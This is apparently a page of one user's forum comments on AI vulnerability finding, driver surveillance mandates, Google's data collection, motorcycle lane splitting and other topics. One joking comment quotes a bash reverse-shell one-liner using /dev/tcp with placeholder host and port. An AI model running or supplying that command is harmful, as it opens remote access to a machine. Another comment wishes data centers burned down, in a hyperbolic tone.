ang_cire

How would they stop? Are you insinuating they're going to have reviewed all code at some point, and that new code for them to review will just cease to exist? Or that they'll just decide to stop finding bugs they're finding now in new code when they review it? All the previous model checkers didn't stop giving us bugs to fix, which is why his premise is wrong; every big company is still running SonarQube because it still gives you bug findings. So will AI.

If the argument were instead that it will cease to find new classes of vulnerabilities and bugs, that may very well be true, because that is a question of the limitations of programming and at a lower level computer architecture, but that's not the argument the author made.

Which is such a crazy assertion, given that not even Mythos was trained explicitly as an exploit finder. Even if the US's profit-driven capital for AI dev dries up, China's state funding for results-driven AI isn't drying up, and they're going to keep building better models as long as the results are there (which they are), for better or worse.

Any system used to surveil is a surveillance system, QED.

There's no minimum fidelity required, you could use potentially any sensor to surveil. It's a question of use.

Honestly, this question is really revealing, because it's the lower-paid SWE jobs that are probably not Bay Area or NYC, which are precisely the places where lower* English fluency is most likely to be tolerated or even the majority.

I was the only person on my 5-person team with 'Business English' at my first BA startup, so I got the job of writing all external-routing communications.

When I worked remote for a Midwest company years later, it was very clear that anything but perfect English was disqualifying in the eyes of a lot of (Midwest white male) management there.

You either didn't read my comment, or aren't groking it.

Whether there are cameras mandated now is irrelevant. The framework that accepts government-mandated ADDW is now in place. Most makers are fulfilling it by using cameras, whether required to or not.

Future enhancements to how ADDW is enforced (such as mandatory cameras), is now a much smaller hurdle for them to overcome.

Also, as the other commenter pointed out, you don't understand GDPR (or at least, how it affects US companies).

Holy heck, you weren't kidding. Not 3 comments before a string of Undercover Russian accusations.

You wonder if some people can't conceptualize other people disagreeing with them in good faith, without being part of some shadowy influence campaign.

It's funny how assumptions betray us.

Not everyone is on their phone, or a laptop.

On a site for tech enthusiasts, there are a shocking amount of folks with very "tech is what you get at the Apple Store" mindsets about.

It absolutely is a slippery slope argument.

"New government mandate paves way for additional government mandate" is about as straightforward a slippery slope argument as you can get.

Slippery slope arguments don't require the eventual fear (e.g. cameras recording you) to be present in the current form, otherwise it wouldn't be a slope.

It's bad though because glancing at your side-view mirrors is good, but this will train drivers out of it by beeping at them because their eyes aren't perfectly forwards-facing.

It's an overly simplistic solution to a complex problem, that also coincidentally helps advance the surveillance state more than it does help prevent distracted driving.

I think you are assuming those companies won't sign on to be on a list of "authorized model operators", while letting it become illegal for you to run deepseek yourself.

:q!

It's not one single aggregate dataset, it's hundreds or thousands of targeted ones.

And yes, people don't like being monetized without the company doing it being transparent about how and what they're doing.

An ad blocker has nothing to do with protecting you from Google fingerprinting and categorizing you.

I'd surmise it's because several states (CA comes to the top of mind) set speeds in excess of 80 as a potential felony enhancement.

iirc in CA it's 20mph over the speed limit, or speeds over 80.

The insurance companies probably want to know who to raise rates on.

If you use Google search or Gmail, they read everything you write, and aggregate that into data packages not just for ads to show you, but even aggregated demographic data to sell for ad targeting.

Regardless of whether the ads reach you or not, you as a data point add to the count that make the package enticing to advertisers, so you're helping them sell the package anyways.

You have paid a lot, if not in money. You paid with your data, that Google read from your emails and searches, and sold for money.

If the diplomat put the baby up as collateral on a loan, prior to their birth, then I think they have to be in order for the US to be able to enforce contract law relevant to the loan.

Do you understand that you're basically pulling an "All Lives Matter" right now?

This statement was about the specific incoming US administration that was anti-immigrant, and especially anti-Muslim. It is a localized effort, because not every place has the same problems and needs the same solutions, and hyper-generalized statements that don't call out any particular instances of a problem are meaningless.

All my homies use

bash -i >& /dev/tcp/IP/PORT 0>&1

to talk to their friends(' computers).

I love how you act like it's an insane premise, then go on to list a bunch of stuff that's literally happening now...

That is a classic, but the one I was referencing was actually a Rooks and Kings video about them pipe bombing, where they were on the enemy fleet comms and one of them is like, "someday someone's going to get the drop on them for once", and another guy is like, "but it's not gonna be today, and it's not gonna be you!"

The political will is already captured and redirected.

There are numerous bills to limit AI access for consumers, to combat deepfakes hurting children. There are no bills introduced or passed to prevent AI being used to target dronestrikes that kill children abroad, or surveil children domestically.

What the public wants doesn't actually matter right now, only what the government will allow to let pass, which in this case is additional internet surveillance.

Under a future, better government this may change, but (sadly) nothing is going to sink tech's dominance right now.

The anger and unhappiness against tech is good, and hopefully someday they'll burn down all the data centers and I'll never have to hear the words Cloud Computing again, but (to paraphrase a famous Eve Online interaction) it's not going to be today, and it's not going to be us.

Social media is old hat now.

As someone on the "safety side of tech", social media is being exploited to increase surveillance and government control precisely because its actual social influence is heavily on the wane, and capital is happy to sacrifice what's left to increase the profits of the expanding public/private tech surveillance industry (with "protect the children" controls on social media like age verification being the usual backdoor route it always is).

Society may be growing tired of Tech, but governments aren't, and in fact they're heavily expanding their back channel reliance on not-traditionally-military Tech as an extension of their Defense spending.

I mean, it is a work of fiction.

No, that's what *you* would apparently do.

Some of us think it's bad for governments to have unequal access to nuclear weapons, as it turns a deterrent into a gun-in-a-knife-fight that lets them stab whoever they want with impunity, lest they shoot anyone who tries to interfere.

See: Russia invading Ukraine.

I started riding in AZ, which does not allow splitting.

I now live in CA, which does.

The actual justification for it is valid, but mostly outdated:

Older and less powerful motorcycles often have air-cooled engines, and if you sit idling in them in e.g. a traffic jam, they will absolutely overheat and die (at best).

Newer and more powerful bikes are liquid-cooled, and do not have this issue (though the driver overheating is another very real issue).

My personal take is that most riders who use bikes to commute are too reckless, and lane split at speed rather than doing so more safely.

25 mph or below, in fully-stopped traffic, is relatively safe. Ditto for <=35 in a 10-20 mph flow. Each of those gives you a relative stopping distance of about 50 feet, which is 3 or fewer car lengths, which is easy to account for.

60 in a 25mph flow OTOH isn't lane splitting, it's just weaving through traffic recklessly, hoping to God that no one in the next 20 cars lengths merges or drifts at all.

I've written so much documentation over the years, and humans always come and ask me questions that the documentation answers, but never ever read it.

Those are your own standards of achievement you are applying.

Other species may look at us and think we're wasting our lives and potential making a bunch of people rich at our collective expense, and ruining the environment as we do it.

We are only "special" in the sense of "different" (and we may not be that on any universal scale), not necessarily in the sense of "better", and very possibly we're not better, and may very well Great Filter ourselves out of existence in short order.

Other animals aren't so "special" as to have a Doomsday Clock sitting at 11:58:45.

There is a cyber security verification program you can join to avoid these blocks:

https://support.claude.com/en/articles/14604842-real-time-cy...

If you work in security (which I assume the OP does), they should be able to get in easily. I think most people just don't know this is a thing.

I think that the reaction here alone disproves this somewhat, because imo it's exposing how anthropocentric most people still are, despite all evidence that we are in fact just "meat all the way down".

Despite all the evidence that we are in fact just biological machines, people still persist the theory of our own uniqueness from other creatures, which we ourselves often treat as biological machines.

This adaptation is wonderful to me specifically because I think it shows that our shifted goalposts of, "well we're not just animals, we can think and reason" was never more than a convenient excuse for many people (and as evidence of animal intelligence continues to mount, denialism still attempts to preserve this distinction by claiming human thought and reason is different than 'animal' thought and reason, sans evidence).

It's not about who created it or why, it's about how people still haven't actually internalized the point, because the subject changing from human to LLM doesn't intrinsically change the message about consciousness, but the reaction being a 180 shows how hostile people are to that message, still.

Because they don't?

Do you eat at the cheapest restaurant every day? Do you think that every Michelin Star restaurant immediately fails and shutters? Do you think everyone buys the $80 prepaid flip phones, and no one actually buys the $700+ iPhones?

Most people don't gravitate towards the cheapest option (in fact, many people find the cheapest option automatically suspect and won't buy it), but rather want a balance of affordable and desirable. No one living in NYC is doing it because they're gravitating towards the cheapest option in the first place, they're there because it has a high level of desirability comparative to its cost, even as expensive as it is.